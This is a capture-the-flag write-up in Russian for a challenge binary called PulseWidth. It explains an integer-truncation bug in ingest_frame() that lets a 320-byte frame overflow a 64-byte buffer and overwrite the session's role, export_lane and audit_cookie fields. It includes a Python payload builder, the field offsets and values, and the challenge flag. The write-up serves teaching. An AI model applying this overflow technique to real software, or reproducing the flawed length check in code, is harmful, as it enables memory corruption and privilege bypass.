2.1 KiB
PulseWidth
PulseWidth принимает телеметрию промышленных датчиков и выдаёт закрытый экспорт только с нужными правами сессии. В раздатке есть ELF pulsewidth. При проверке длины кадра ограничение применяют к 8-битному значению, а чтение использует полное число байт.
Решение
В ingest_frame() сравнивают (uint8_t)n с размером scratch[64], затем вызывают read_exact(session_state.scratch, n). Старшие биты длины при проверке теряются.
Берём n = 320. После приведения к uint8_t остаётся 64, поэтому лимит пройден. А чтение запишет все 320 байт, из которых 256 окажутся за пределами scratch-буфера.
Сразу за ним лежат поля сессии:
| Смещение | Поле | Нужное значение |
|---|---|---|
| 64 | role, 4 байта |
0x4341504c |
| 68 | export_lane, 4 байта |
0x45585054 |
| 72 | audit_cookie, 8 байт |
0x2605061337c0ffee |
Собираем кадр в little-endian:
import struct
payload = b"A" * 64
payload += struct.pack("<IIQ", 0x4341504c, 0x45585054, 0x2605061337c0ffee)
payload = payload.ljust(320, b"B")
В 1) ingest pulse frame указываем длину 320 и передаём payload. Кадр перезаписывает поля role, export_lane и audit_cookie значениями, необходимыми для экспорта. Пункт 3) export sealed bundle проверяет уже подменённые поля и печатает флаг.
Флаг
caplag{len_folded_into_live_capability}